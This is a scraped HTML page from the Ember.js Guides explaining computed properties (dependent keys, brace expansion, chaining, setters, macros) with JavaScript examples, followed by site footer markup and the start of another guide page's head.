aria-labelledby="toc_what-are-computed-properties"> <p>In a nutshell, computed properties let you declare functions as properties. You create one by defining a computed property as a function, which Ember will automatically call when you ask for the property. You can then use it the same way you would any normal, static property.</p> <p>It's super handy for taking one or more normal properties and transforming or manipulating their data to create a new value.</p> </section> <h3 id="toc_computed-properties-in-action">Computed properties in action</h3> <section aria-labelledby="toc_computed-properties-in-action"> <p>We'll start with a simple example. We have a <code>Person</code> object with <code>firstName</code> and <code>lastName</code> properties, but we also want a <code>fullName</code> property that joins the two names when either of them changes:</p> <pre><code class="javascript language-javascript">import EmberObject, { computed } from '@ember/object'; Person = EmberObject.extend({ // these will be supplied by `create` firstName: null, lastName: null, fullName: computed('firstName', 'lastName', function() { return `${this.firstName} ${this.lastName}`; }) }); let ironMan = Person.create({ firstName: 'Tony', lastName: 'Stark' }); ironMan.fullName; // "Tony Stark" </code></pre> <p>This declares <code>fullName</code> to be a computed property, with <code>firstName</code> and <code>lastName</code> as the properties it depends on. The first time you access the <code>fullName</code> property, the function will be called and the results will be cached. Subsequent access of <code>fullName</code> will read from the cache without calling the function. Changing any of the dependent properties causes the cache to invalidate, so that the computed function runs again on the next access.</p> </section> <h3 id="toc_computed-properties-only-recompute-when-they-are-consumed">Computed properties only recompute when they are consumed</h3> <section aria-labelledby="toc_computed-properties-only-recompute-when-they-are-consumed"> <p>A computed property will only recompute its value when it is <em>consumed.</em> Properties are consumed in two ways:</p> <ol> <li>By being accessed, for example <code>ironMan.fullName</code></li> <li>By being referenced in a handlebars template that is currently being rendered, for example <code>{{ironMan.fullName}}</code></li> </ol> <p>Outside of those two circumstances the code in the property will not run, even if one of the property's dependencies are changed.</p> <p>We'll modify the <code>fullName</code> property from the previous example to log to the console:</p> <pre><code class="javascript language-javascript">import Ember from 'ember'; … fullName: computed('firstName', 'lastName', function() { console.log('compute fullName'); // track when the property recomputes return `${this.firstName} ${this.lastName}`; }) … </code></pre> <p>Using the new property, it will only log after a <code>fullName</code> is accessed, and then only if either the <code>firstName</code> or <code>lastName</code> has been previously changed:</p> <pre><code class="javascript language-javascript">let ironMan = Person.create({ firstName: 'Tony', lastName: 'Stark' }); ironMan.fullName; // 'compute fullName' ironMan.set('firstName', 'Bruce') // no console output ironMan.fullName; // 'compute fullName' ironMan.fullName; // no console output since dependencies have not changed </code></pre> </section> <h3 id="toc_multiple-dependents-on-the-same-object">Multiple dependents on the same object</h3> <section aria-labelledby="toc_multiple-dependents-on-the-same-object"> <p>In the previous example, the <code>fullName</code> computed property depends on two other properties of the same object. However, you may find that you have to observe the properties of a different object.</p> <p>For example, look at this computed property:</p> <pre><code class="javascript language-javascript">import EmberObject, { computed } from '@ember/object'; let home = EmberObject.extend({ location: { streetName: 'Evergreen Terrace', streetNumber: 742 }, address: computed('location.streetName', 'location.streetNumber', function() { return `${this.location.streetNumber} ${this.location.streetName}`; }) }); home.address // 742 Evergreen Terrace home.set('location.streetNumber', 744) home.address // 744 Evergreen Terrace </code></pre> <p>It is important to observe an object's properties, not the object itself that has properties nested inside. If the object reference <code>location</code> is used as a dependent key, the computed property will not recalculate when the <code>streetName</code> or <code>streetNumber</code> properties change.</p> <pre><code class="javascript language-javascript">import EmberObject, { computed } from '@ember/object'; let home = EmberObject.extend({ location: { streetName: 'Evergreen Terrace', streetNumber: 742 }, address: computed('location', function() { return `${this.location.streetNumber} ${this.location.streetName}`; }) }); home.address // 742 Evergreen Terrace home.set('location.streetNumber', 744) home.address // 742 Evergreen Terrace home.set('location', { streetName: 'Evergreen Terrace', streetNumber: 744 }) home.address // 744 Evergreen Terrace </code></pre> <p>Since both <code>streetName</code> and <code>streetNumber</code> are properties on the <code>location</code> object, we can use a short-hand syntax called <em>brace expansion</em> to declare the dependents keys. You surround the dependent properties with braces (<code>{}</code>), and separate with commas, like so:</p> <pre><code class="javascript language-javascript">import EmberObject, { computed } from '@ember/object'; let home = EmberObject.extend({ location: { streetName: 'Evergreen Terrace', streetNumber: 742 }, address: computed('location.{streetName,streetNumber}', function() { return `${this.location.streetNumber} ${this.location.streetName}`; }) }); </code></pre> </section> <h3 id="toc_chaining-computed-properties">Chaining computed properties</h3> <section aria-labelledby="toc_chaining-computed-properties"> <p>You can use computed properties as values to create new computed properties. Let's add a <code>description</code> computed property to the previous example, and use the existing <code>fullName</code> property and add in some other properties:</p> <pre><code class="javascript language-javascript">import EmberObject, { computed } from '@ember/object'; Person = EmberObject.extend({ firstName: null, lastName: null, age: null, country: null, fullName: computed('firstName', 'lastName', function() { return `${this.firstName} ${this.lastName}`; }), description: computed('fullName', 'age', 'country', function() { return `${this.fullName}; Age: ${this.age}; Country: ${this.country}`; }) }); let captainAmerica = Person.create({ firstName: 'Steve', lastName: 'Rogers', age: 80, country: 'USA' }); captainAmerica.get('description'); // "Steve Rogers; Age: 80; Country: USA" </code></pre> </section> <h3 id="toc_dynamic-updating">Dynamic updating</h3> <section aria-labelledby="toc_dynamic-updating"> <p>Computed properties, by default, observe any changes made to the properties they depend on and are dynamically updated when they're called. Let's use computed properties to dynamically update.</p> <pre><code class="javascript language-javascript">captainAmerica.set('firstName', 'William'); captainAmerica.description; // "William Rogers; Age: 80; Country: USA" </code></pre> <p>So this change to <code>firstName</code> was observed by <code>fullName</code> computed property, which was itself observed by the <code>description</code> property.</p> <p>Setting any dependent property will propagate changes through any computed properties that depend on them, all the way down the chain of computed properties you've created.</p> </section> <h3 id="toc_setting-computed-properties">Setting Computed Properties</h3> <section aria-labelledby="toc_setting-computed-properties"> <p>You can also define what Ember should do when setting a computed property. If you try to set a computed property, it will be invoked with the key (property name), and the value you want to set it to. You must return the new intended value of the computed property from the setter function.</p> <pre><code class="javascript language-javascript">import EmberObject, { computed } from '@ember/object'; Person = EmberObject.extend({ firstName: null, lastName: null, fullName: computed('firstName', 'lastName', { get(key) { return `${this.firstName} ${this.lastName}`; }, set(key, value) { let [firstName, lastName] = value.split(/\s+/); this.set('firstName', firstName); this.set('lastName', lastName); return value; } }) }); let captainAmerica = Person.create(); captainAmerica.set('fullName', 'William Burnside'); captainAmerica.firstName; // William captainAmerica.lastName; // Burnside </code></pre> </section> <h3 id="toc_computed-property-macros">Computed property macros</h3> <section aria-labelledby="toc_computed-property-macros"> <p>Some types of computed properties are very common. Ember provides a number of computed property macros, which are shorter ways of expressing certain types of computed property.</p> <p>In this example, the two computed properties are equivalent:</p> <pre><code class="javascript language-javascript">import EmberObject, { computed } from '@ember/object'; import { equal } from '@ember/object/computed'; Person = EmberObject.extend({ fullName: 'Tony Stark', isIronManLongWay: computed('fullName', function() { return this.fullName === 'Tony Stark'; }), isIronManShortWay: equal('fullName', 'Tony Stark') }); </code></pre> <p>To see the full list of computed property macros, have a look at <a href="https://api.emberjs.com/ember/3.4/modules/@ember%2Fobject">the API documentation</a></p> </section> </div> <footer id="ember368524" class="ember-view"> <a href="/v3.4.0/object-model/reopening-classes-and-instances" id="ember368525" class="previous-guide ember-view">Reopening Classes and Instances</a> <a href="/v3.4.0/object-model/computed-properties-and-aggregate-data" id="ember368526" class="next-guide ember-view"> Computed Properties and Aggregate Data </a></footer> </article> </main> <footer id="ember368527" class="es-footer ember-view" role="contentinfo"><div class="footer responsive"> <div class="container"> <div id="ember368528" class="footer-info ember-view"> Copyright 2020 <a href="http://tilde.io">Tilde Inc.</a> <br> <a href="https://emberjs.com/team">Team</a> | <a href="https://emberjs.com/sponsors">Sponsors</a> <br> <a href="https://emberjs.com/security">Security</a> | <a href="https://emberjs.com/legal">Legal</a> | <a href="https://emberjs.com/brand">Brand</a> <br> <a href="https://emberjs.com/guidelines">Community Guidelines</a> <!----></div> <div id="ember368529" class="footer-statement ember-view"> <p class="footer-tagline">Ember.js is free, open source and always will be.</p> <div class="footer-social"> <a href="http://twitter.com/emberjs" title="Twitter"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1000 1000"><path d="M939.5 227.941q-37 54-90 93v23q0 73-21 145t-64 139q-43 67-103 117t-144 82q-84 32-181 30-151 0-276-81 19 2 43 2 126 0 224-77-59-1-105-36t-64-89q19 3 34 3 24 0 48-6-63-13-104-62t-41-115v-2q38 21 82 23-37-25-59-64t-22-86q0-49 25-91 68 83 164 133t208 55q-5-21-5-41 0-75 53-127t127-53q79 0 132 57 61-12 115-44-21 64-80 100 52-6 104-28z"/></svg> </a> <a href="https://github.com/emberjs/ember.js" title="GitHub"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1000 1000"><path d="M392 643q0 22-7 45t-24 43q-17 20-40 19t-41-19q-18-18-24-43t-7-45q-1-20 7-46t24-43q16-17 41-19t40 19q15 21 24 43t7 46zm357 0q0 22-7 45t-24 43q-17 20-40 19t-41-19q-18-18-24-43t-7-45q-1-20 7-46t24-43q16-17 41-19t40 19q15 21 24 43t7 46zm90 0q0-67-39-114t-104-47q-23 0-109 12-40 6-88 6t-87-6q-85-12-109-12-66 0-104 47t-39 114q0 49 18 85t45 58q27 22 68 33t78 17q37 6 83 4h94q46 0 83-4t78-17q41-13 69-33t45-58q17-38 18-85zm125-99q0 116-34 185-22 43-59 74t-79 48q-42 17-95 27t-96 12q-43 2-93 3-43 0-79-2t-82-7q-46-5-85-17t-77-29q-38-17-67-45t-48-64q-35-69-35-185 0-132 76-221-15-45-15-95 0-64 28-121 61 0 106 22t106 69q82-20 172-20 83 0 157 18 58-46 104-67t105-22q29 57 29 121 0 49-15 94 76 89 76 222z"/></svg> </a> <a href="https://discordapp.com/invite/zT3asNS" title="Discord"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 245 240"><path d="M104.4 103.9c-5.7 0-10.2 5-10.2 11.1s4.6 11.1 10.2 11.1c5.7 0 10.2-5 10.2-11.1.1-6.1-4.5-11.1-10.2-11.1zm36.5 0c-5.7 0-10.2 5-10.2 11.1s4.6 11.1 10.2 11.1c5.7 0 10.2-5 10.2-11.1s-4.5-11.1-10.2-11.1z"/><path class="st0" d="M189.5 20h-134C44.2 20 35 29.2 35 40.6v135.2c0 11.4 9.2 20.6 20.5 20.6h113.4l-5.3-18.5 12.8 11.9 12.1 11.2 21.5 19V40.6c0-11.4-9.2-20.6-20.5-20.6zm-38.6 130.6s-3.6-4.3-6.6-8.1c13.1-3.7 18.1-11.9 18.1-11.9-4.1 2.7-8 4.6-11.5 5.9-5 2.1-9.8 3.5-14.5 4.3-9.6 1.8-18.4 1.3-25.9-.1-5.7-1.1-10.6-2.7-14.7-4.3-2.3-.9-4.8-2-7.3-3.4-.3-.2-.6-.3-.9-.5-.2-.1-.3-.2-.4-.3-1.8-1-2.8-1.7-2.8-1.7s4.8 8 17.5 11.8c-3 3.8-6.7 8.3-6.7 8.3-22.1-.7-30.5-15.2-30.5-15.2 0-32.2 14.4-58.3 14.4-58.3 14.4-10.8 28.1-10.5 28.1-10.5l1 1.2c-18 5.2-26.3 13.1-26.3 13.1s2.2-1.2 5.9-2.9c10.7-4.7 19.2-6 22.7-6.3.6-.1 1.1-.2 1.7-.2 6.1-.8 13-1 20.2-.2 9.5 1.1 19.7 3.9 30.1 9.6 0 0-7.9-7.5-24.9-12.7l1.4-1.6s13.7-.3 28.1 10.5c0 0 14.4 26.1 14.4 58.3 0 0-8.5 14.5-30.6 15.2z"/></svg> </a> </div> </div> <div id="ember368530" class="footer-contributions ember-view"> <div class="contributor"> <p>Hosted by:</p> <a href="https://www.heroku.com/emberjs"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 72.5 80.5" class="contributor-logo"><defs><style>.cls-1{fill:#999}</style></defs><path class="cls-1" d="M65.05.25H7.45a7.2 7.2 0 0 0-7.2 7.2v65.6a7.2 7.2 0 0 0 7.2 7.2h57.6a7.2 7.2 0 0 0 7.2-7.2V7.45a7.2 7.2 0 0 0-7.2-7.2zm-46.8 68v-16l9 8zm28 0V44.36c0-1.87-.94-4.11-5-4.11-8.13 0-17.26 4.09-17.35 4.13l-5.65 2.56V12.25h8V35a50.63 50.63 0 0 1 15-2.71c4.94 0 7.9 1.94 9.52 3.57a12.48 12.48 0 0 1 3.48 8.43v24zm2-43h-8a31.1 31.1 0 0 0 6-13h8a23.44 23.44 0 0 1-6 13z" id="black"/></svg> </a> </div> <div class="contributor"> <p>CDN provided by:</p> <a href="https://www.fastly.com"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1626 640" class="contributor-logo"><defs><style>.cls-1{fill:#999}</style></defs><path class="cls-1" d="M1105.2 71.3v421.1h126.4v-64.3h-41.8V7.2h-84.7l.1 64.1zM6.9 428.1h43V224.9h-43V169l43-7.1v-56.6c0-68.5 14.9-98.2 102.3-98.2 18.9 0 41.2 2.8 60.8 6.3l-11.6 68.9c-13.3-2.1-19.8-2.5-28.2-2.5-30.8 0-38.6 3.1-38.6 33.1V162h63.9v62.9h-63.9V428h42.5v64.3H6.9zM1062.1 407.7c-13.2 2.8-24.8 2.5-33.2 2.7-34.8.9-31.8-10.6-31.8-43.5v-142h66.3V162H997V7.2h-84.7v377.3c0 74.1 18.3 107.9 98 107.9 18.9 0 44.8-4.9 64.4-9zM1588.2 428.4a32 32 0 1 1-32.1 32 31.95 31.95 0 0 1 32.1-32m0 58.9a26.75 26.75 0 1 0 0-53.5 26.75 26.75 0 0 0 0 53.5m5.9-11.2l-6.5-9.5h-4.5v9.5h-7.2v-31.4h13.1c7.8 0 12.6 3.9 12.6 10.9 0 5.1-2.6 8.6-6.6 9.8l7.8 10.8h-8.7zm-10.9-15.8h5.7c3.3 0 5.5-1.3 5.5-4.7s-2.2-4.6-5.3-4.6h-5.9v9.3zM806.6 224.8v-11.3c-25.6-4.7-51.1-4.7-64.9-4.7-39.4 0-44.2 20.9-44.2 32.2 0 16 5.5 24.7 48.2 34 62.4 14 125.1 28.6 125.1 106 0 73.4-37.8 111.3-117.3 111.3-53.2 0-104.8-11.4-144.2-21.4v-63.2h64.1v11.2c27.6 5.3 56.5 4.8 71.6 4.8 42 0 48.8-22.6 48.8-34.6 0-16.7-12.1-24.7-51.5-32.7-74.2-12.7-133.2-38-133.2-113.5 0-71.4 47.7-99.4 127.3-99.4 53.9 0 94.8 8.4 134.2 18.4v62.8h-64zM416.9 280.4l-6.4-6.4-32.7 28.5a15.53 15.53 0 0 0-5.3-.9 16.4 16.4 0 1 0 16 16.4 19.32 19.32 0 0 0-.7-4.9z"/><path class="cls-1" d="M546.6 407.7l-.1-263.6h-84.7v24.7a173.6 173.6 0 0 0-57.6-21.8h.5v-29.2H415V96.3h-85.3v21.5H340V147h.6A174.1 174.1 0 1 0 462 467.4l15.3 24.9h89.5v-84.7h-20.2zm-169.1-.1v-10h-10.1v9.9a89.59 89.59 0 0 1-84.2-84.7h10.1v-10.1h-10a89.55 89.55 0 0 1 84.1-84v10h10.1v-10a89.67 89.67 0 0 1 84.4 81.5v2.9h-10.2v10.1h10.2v2.8a89.6 89.6 0 0 1-84.4 81.6zM1446 162h174.7v62.9h-41.8l-107.1 263.6c-30.7 74-81.1 143.7-157.9 143.7-18.9 0-44-2.1-61.5-6.3l7.7-76.9a218.08 218.08 0 0 0 33.5 3.5c35.6 0 75.8-22.1 88.4-60.5l-108.6-267.1h-41.8V162h174.8v62.9h-41.7l61.5 151.3 61.5-151.3H1446z"/></svg> </a> </div> <div class="contributor"> <p>Tested with:</p> <a href="https://percy.io"> <svg viewBox="0 0 423 125" fill="none" xmlns="http://www.w3.org/2000/svg" class="contributor-logo"><path fill-rule="evenodd" clip-rule="evenodd" d="M400.648 112.355c-.232.748-.608 1.273-1.127 1.568l-.15.076c-.562.234-1.163.2-1.871.023-2.286-.574-12.884-1.789-8.645-14.407l2.514-7.485-.57-1.455-2.755-6.677-17.26-40.878c-.38-.848-.242-1.62.097-2.147.351-.549.971-.826 1.846-.842h9.821c.673 0 1.245.185 1.684.53.44.348.762.878 1.035 1.531l12.67 30.214 9.088-30.13c.195-.72.54-1.268 1.004-1.632.455-.355 1.037-.532 1.716-.532h10.487c.89 0 1.522.257 1.894.738.372.499.422 1.22.146 2.149l-14.103 45.12-5.44 17.506-2.081 6.73zM359.293 71.74h10.723c1.657 0 2.632 1.076 2.047 2.74-3.022 10.177-12.575 17.223-23.981 17.223-14.817 0-25.831-11.255-25.831-25.835s11.014-25.833 25.831-25.833c11.406 0 20.959 7.045 23.981 17.222.585 1.663-.39 2.74-2.047 2.74h-10.723c-1.268 0-2.145-.587-2.925-1.663-1.754-2.446-4.776-3.817-8.286-3.817-6.335 0-11.21 4.6-11.21 11.351 0 6.753 4.875 11.352 11.21 11.352 3.51 0 6.532-1.37 8.286-3.718.78-1.175 1.559-1.762 2.925-1.762zm-52.512-29.06v2.55c1.212-2.158 3.978-5.221 11.198-5.123.524.006.945.206 1.255.53.455.474.673 1.115.673 1.943v11.96c0 .812-.169 1.42-.522 1.826-.337.404-.842.608-1.497.608-1.431-.05-2.794.1-4.124.455a9.778 9.778 0 0 0-3.551 1.791c-1.043.845-1.881 1.98-2.49 3.362-.619 1.404-.933 3.108-.942 5.136l-.069 12.755c-.072 13.321-10.191 11.303-12.553 11.166-.806-.046-1.432-.219-1.868-.658-.438-.44-.657-1.065-.657-1.875V42.68c0-.81.219-1.436.657-1.875.437-.44 1.061-.658 1.868-.658h10.097c.807 0 1.431.219 1.868.658.438.44.657 1.064.657 1.875zm-43.748-2.622c3.564.017 6.835.666 9.816 1.951a23.428 23.428 0 0 1 7.758 5.398c2.185 2.326 3.886 5.04 5.085 8.161 1.198 3.122 1.814 6.536 1.83 10.243 0 .634-.016 1.252-.065 1.838a65.191 65.191 0 0 1-.129 1.772c-.097.78-.389 1.348-.842 1.707-.454.358-1.053.536-1.782.536h-32.457c.615 1.919 1.474 3.479 2.607 4.682a10.428 10.428 0 0 0 3.952 2.602c1.507.552 3.11.812 4.811.812 1.376-.016 2.704-.227 3.968-.665 1.247-.44 2.332-1.026 3.223-1.773.47-.39.94-.7 1.393-.927.47-.227 1.004-.341 1.619-.341l9.329-.097c.892.016 1.539.276 1.928.78.372.504.388 1.154.016 1.95-1.279 2.83-2.981 5.203-5.102 7.106-2.122 1.918-4.584 3.348-7.386 4.325-2.801.958-5.862 1.447-9.182 1.447-4.05-.018-7.694-.683-10.933-1.985-3.255-1.3-6.025-3.104-8.324-5.446-2.317-2.324-4.082-5.057-5.313-8.161-1.23-3.122-1.847-6.504-1.863-10.162.016-3.658.649-7.04 1.912-10.16 1.263-3.107 3.044-5.838 5.36-8.163 2.301-2.34 5.054-4.146 8.228-5.446 3.175-1.3 6.689-1.967 10.543-1.984zm-68.18 5.316a22.761 22.761 0 0 1 6.533-3.865 21.372 21.372 0 0 1 7.61-1.408c6.452 0 12.76 2.895 16.989 7.575 4.223 4.673 6.836 11.128 6.836 18.253s-2.613 13.579-6.836 18.252c-4.23 4.679-10.537 7.575-16.989 7.575-4.725 0-9.683-1.492-13.137-4.816l.01 15.843c.008 13.321-10.192 11.302-12.554 11.166-.803-.046-1.432-.221-1.868-.66-.436-.437-.656-1.066-.656-1.874l-.032-68.665c0-.826.224-1.477.674-1.928.449-.451 1.094-.677 1.92-.677h8.871c.827 0 1.472.226 1.92.677.45.45.665 1.095.675 1.928l.033 2.624zm25.217 20.418c0-6.283-5.041-11.377-11.26-11.377-6.22 0-11.26 5.094-11.26 11.377 0 6.285 5.04 11.379 11.26 11.379 6.219 0 11.26-5.094 11.26-11.379zm36.016-10.825c-1.83 1.268-3.126 3.138-3.887 5.577h20.811c-.518-1.838-1.295-3.317-2.333-4.422a9.086 9.086 0 0 0-3.562-2.374 11.773 11.773 0 0 0-4.178-.716c-2.738.017-5.038.651-6.85 1.935zM153.654 30.725a5.164 5.164 0 0 0-4.903-3.74 5.184 5.184 0 0 0-1.999.362 22.04 22.04 0 0 1-7.383 1.483c-6.346-4.758-21.736-16.252-30.872-22.71 0 0 1.23 3.765 2.897 10.788 0 0-14.478-8.459-24.102-14.931 0 0 3.508 7.442 3.768 9.837 0 0-11.542-2.188-28.406-6.126 0 0 12.47 7.214 15.497 11.48 0 0-15.13-1.284-32.951-2.61 0 0 8.963 4.708 13.31 8.46 0 0-16.213 2.082-28.542 2.466 0 0 9.013 7.263 12.64 10.768 0 0-15.487 5.773-34.041 16.062 0 0 9.67.646 16.611 2.98 0 0-8.546 7.246-23.882 23.932 0 0 9.664-.186 17.475-1.098 0 0-6.266 9.29-14.148 26.035 0 0 5.261-3.185 10.322-4.283 0 0 .21 18.955 10.641 22.173l.01-.012c.51.17.999.234 1.424.241a5.854 5.854 0 0 0 1.595-.204c3.343-.883 5.918-4.082 8.898-7.787h.001c.976-1.213 1.978-2.458 3.041-3.671a25.118 25.118 0 0 1 4.595-4.737c3.758-2.955 8.926-5.15 15.158-4.127 7.023.709 11.247 7.71 14.643 13.339 2.567 4.256 4.595 7.617 7.501 7.987.204.025.408.04.606.043 4.45.078 6.104-5.028 8.198-11.493v-.002l.428-1.32.054.109c1.557-5.232 4.498-10.85 8.064-15.903 4.844-6.865 11.038-12.967 16.931-15.749l.015.03c3.204-1.762 6.574-3.42 9.895-5.054l.003-.002c10.295-5.064 20.018-9.848 24.983-17.277 2.483-3.716 3.762-8.306 3.802-13.644.035-4.788-.947-9.22-1.777-12.095zM110.69 86.593c-2.961 2.678-5.868 6.012-8.437 9.652-4.237 6.006-7.395 12.617-8.389 18.136 2.79 4.723 5.332 7.065 7.742 7.146l.076.001c2.217.039 3.704-1.408 4.422-4.3.536-2.158.694-5.134.878-8.58v-.004c.333-6.28.766-14.373 3.708-22.051zm-68.51 27.086l-.032-.084a21.944 21.944 0 0 1 4.857-5.354c3.071-2.414 7.087-4.161 11.896-3.649a133.762 133.762 0 0 1-1.91 4.6c-2.371 5.407-5.193 10.988-8.14 11.396a3.457 3.457 0 0 1-.527.032c-2.302-.04-4.311-2.31-6.143-6.941zm59.08-88.187L88.55 17.127l21.058 7.834-8.348.53zm-35.4 3.097l20.265 5.502 8.926-2.757-29.19-2.745zm36.116 10.72l4.4-3.177-16.858 2.5 12.458.676zm-28.803-.503l-7.042 4.488-19.263-2.153 26.305-2.335zm21.54 11.899l7.13-3.782-26.304 2.336 19.174 1.446zM75.185 54.7l-5.062 7.91-24.738 5.525 29.8-13.435zm-30.864 4.385L25.105 67.05l23.7-16.185-4.484 8.221zm-10.605 9.767l-.897 8.287-11.187 13.38 12.084-21.667z" fill="#3F3A40"/></svg> </a> </div> <div class="contributor"> <p>Resolved with:</p> <a href="https://dnsimple.com/resolving/emberjs"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 613.33331 160" height="60" width="100" class="contributor-logo"><defs><clipPath id="a"><path d="M568.809 1050.45c-20.801 0-41.598-1.1-61.301-5.48V841.367c-28.461 10.946-61.301 16.418-105.086 16.418C246.98 857.785 120 751.605 120 580.84c0-175.145 116.031-271.477 286.801-271.477 84.285 0 170.765 22.989 224.402 51.45v684.157c-20.801 4.38-42.691 5.48-62.394 5.48zm-164.2-632.716c-94.14 0-158.722 63.493-158.722 165.293 0 100.707 68.961 165.293 160.914 165.293 37.215 0 71.152-4.379 100.707-22.988V434.156c-32.84-12.043-66.774-17.515-102.899-16.422zm611.911 442.243c-111.653 0-202.512-43.789-248.485-82.102v-452.09c20.797-4.379 41.598-5.472 61.301-5.472 20.797 0 42.691 1.093 62.394 5.472v391.887c24.083 14.23 66.774 28.461 114.94 28.461 79.91 0 125.88-36.125 125.88-131.36V325.785c21.9-4.379 41.6-5.472 62.4-5.472 19.7 0 41.6 1.093 62.39 5.472v318.543c0 119.317-73.34 215.649-240.82 215.649zm554.99-551.707c142.3 0 225.5 65.679 225.5 174.05 0 102.899-82.1 141.211-194.85 158.723-88.67 14.23-111.66 30.652-111.66 64.586 0 32.84 28.46 53.637 94.14 53.637 62.4 0 116.04-18.61 152.16-39.407 25.18 19.704 41.6 50.356 47.07 88.668-33.93 24.082-100.71 50.352-194.85 50.352-131.36 0-217.83-65.676-217.83-162.008 0-109.465 87.57-143.398 179.52-157.629 93.05-14.23 122.6-33.933 122.6-68.965 0-35.027-26.27-62.394-99.61-62.394-82.1 0-128.07 28.461-159.82 51.449-26.27-16.418-47.07-45.977-56.92-85.383 29.55-25.176 98.52-65.679 214.55-65.679zm398.45 614.101c42.69 0 78.82 35.027 78.82 78.809 0 43.79-36.13 78.82-78.82 78.82-44.88 0-81-35.03-81-78.82 0-43.782 36.12-78.809 81-78.809zm0-602.058c20.8 0 41.6 1.093 61.3 5.472v517.77c-19.7 4.379-41.59 5.472-61.3 5.472-20.8 0-41.59-1.093-62.39-5.472v-517.77c20.8-4.379 42.69-5.472 62.39-5.472zm791.43 539.664c-70.05 0-133.54-27.368-176.23-60.207-38.32 37.218-95.24 60.207-169.68 60.207-108.36 0-202.5-45.977-244.1-82.102v-452.09c20.8-4.379 41.6-5.472 61.3-5.472 20.8 0 42.69 1.093 62.39 5.472v391.887c27.37 16.418 65.68 28.461 106.18 28.461 84.29 0 116.04-53.641 116.04-128.074V325.785c20.8-4.379 41.6-5.472 63.49-5.472 19.7 0 41.6 1.093 61.3 5.472v329.488c0 16.422-2.19 32.84-5.47 48.168 25.17 20.797 60.2 42.692 110.55 42.692 84.29 0 117.13-53.641 117.13-128.074V325.785c19.71-4.379 40.51-5.472 62.4-5.472 19.7 0 41.6 1.093 61.3 5.472v329.488c0 112.75-76.63 204.704-226.6 204.704zm591.12-1.098c-98.52 0-180.62-38.313-230.97-79.91V123.273c21.89-4.378 41.59-5.472 62.39-5.472 20.8 0 41.6 1.094 61.3 5.472v201.418c32.84-10.949 67.87-15.328 111.66-15.328 144.49 0 274.75 101.805 274.75 276.95 0 179.523-120.41 272.566-279.13 272.566zm-4.38-438.953c-40.5 0-73.34 6.566-102.9 20.797v279.136c31.75 17.516 65.68 25.176 101.81 25.176 95.23 0 159.82-60.203 159.82-159.816 0-102.899-64.59-165.293-158.73-165.293zm458.66-99.613c20.8 0 42.69 1.093 62.39 5.472v718.095c-20.79 4.37-42.69 5.47-63.48 5.47-20.81 0-41.6-1.1-61.31-5.47V325.785c21.9-4.379 42.7-5.472 62.4-5.472zM4480 624.625c0 139.02-98.52 234.254-237.54 234.254-147.78 0-260.53-116.031-260.53-276.945 0-169.672 111.66-272.571 267.1-272.571 103.99 0 171.86 38.313 215.65 73.344-4.38 31.746-26.28 66.773-53.64 84.289-33.94-24.082-77.72-53.641-153.25-53.641-86.48 0-139.02 52.543-148.88 137.926h366.71c3.29 28.461 4.38 45.977 4.38 73.344zm-369.99 8.758c8.76 71.152 55.83 124.789 132.45 124.789 84.29-1.094 116.03-63.488 116.03-124.789z" clip-rule="evenodd"/></clipPath><clipPath id="b"><path d="M0 0h4600v1200H0z"/></clipPath></defs><g clip-path="url(#a)" transform="matrix(.13333 0 0 -.13333 0 160)"><g clip-path="url(#b)"><path d="M20 17.8h4560V1180H20z"/></g></g></svg> </a> </div> </div> </div> </div> </footer> <script type="x/boundary" id="fastboot-body-end"></script> <script src="/assets/vendor-43f2851966bb68f3f8b11728eabc662f.js"></script> <script src="/assets/ember-guides-282695ea5f03fe0586ac6b0c02eff6f2.js"></script> </body> </html>
{ "pile_set_name": "Github" }
<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta name="ember-guides/config/environment" content="%7B%22modulePrefix%22%3A%22ember-guides%22%2C%22environment%22%3A%22production%22%2C%22rootURL%22%3A%22%2F%22%2C%22locationType%22%3A%22trailing-history%22%2C%22historySupportMiddleware%22%3Atrue%2C%22EmberENV%22%3A%7B%22FEATURES%22%3A%7B%7D%2C%22EXTEND_PROTOTYPES%22%3A%7B%22Date%22%3Afalse%7D%2C%22_APPLICATION_TEMPLATE_WRAPPER%22%3Afalse%2C%22_DEFAULT_ASYNC_OBSERVERS%22%3Atrue%2C%22_JQUERY_INTEGRATION%22%3Afalse%2C%22_TEMPLATE_ONLY_GLIMMER_COMPONENTS%22%3Atrue%7D%2C%22APP%22%3A%7B%22name%22%3A%22ember-guides%22%2C%22version%22%3A%223.7.0%2Ba7598d50%22%7D%2C%22ember-meta%22%3A%7B%22description%22%3A%22Ember.js%20helps%20developers%20be%20more%20productive%20out%20of%20the%20box.%20Designed%20with%20developer%20ergonomics%20in%20mind%2C%20its%20friendly%20APIs%20help%20you%20get%20your%20job%20done%E2%80%94fast.%22%7D%2C%22guidemaker%22%3A%7B%22title%22%3A%22Ember%20Guides%22%2C%22sourceRepo%22%3A%22https%3A%2F%2Fgithub.com%2Fember-learn%2Fguides-source%22%7D%2C%22algolia%22%3A%7B%22algoliaId%22%3A%22Y1OMR4C7MF%22%2C%22algoliaKey%22%3A%225d01c83734dc36754d9e94cbf6f8964d%22%2C%22indexName%22%3A%22ember-guides%22%7D%2C%22showdown%22%3A%7B%22ghCompatibleHeaderId%22%3Atrue%2C%22prefixHeaderId%22%3A%22toc_%22%7D%2C%22deprecationsGuideURL%22%3A%22https%3A%2F%2Fwww.emberjs.com%2Fdeprecations%2F%22%2C%22metricsAdapters%22%3A%5B%7B%22name%22%3A%22GoogleAnalytics%22%2C%22environments%22%3A%5B%22production%22%5D%2C%22config%22%3A%7B%22id%22%3A%22UA-27675533-1%22%2C%22require%22%3A%5B%22linkid%22%5D%7D%7D%5D%2C%22infoBanner%22%3A%7B%22content%22%3A%22Ember%20Octane%20is%20here!%20A%20lot%20has%20changed%20since%20Ember%203.14%2C%20including%20these%20Guides.%20Read%20more%20in%20the%20%3Ca%20href%3D%5C%22https%3A%2F%2Fblog.emberjs.com%2F2019%2F12%2F20%2Foctane-is-here.html%5C%22%3EEmber%20Blog%3C%2Fa%3E.%22%7D%2C%22exportApplicationGlobal%22%3Afalse%2C%22fastboot%22%3A%7B%22hostWhitelist%22%3A%5B%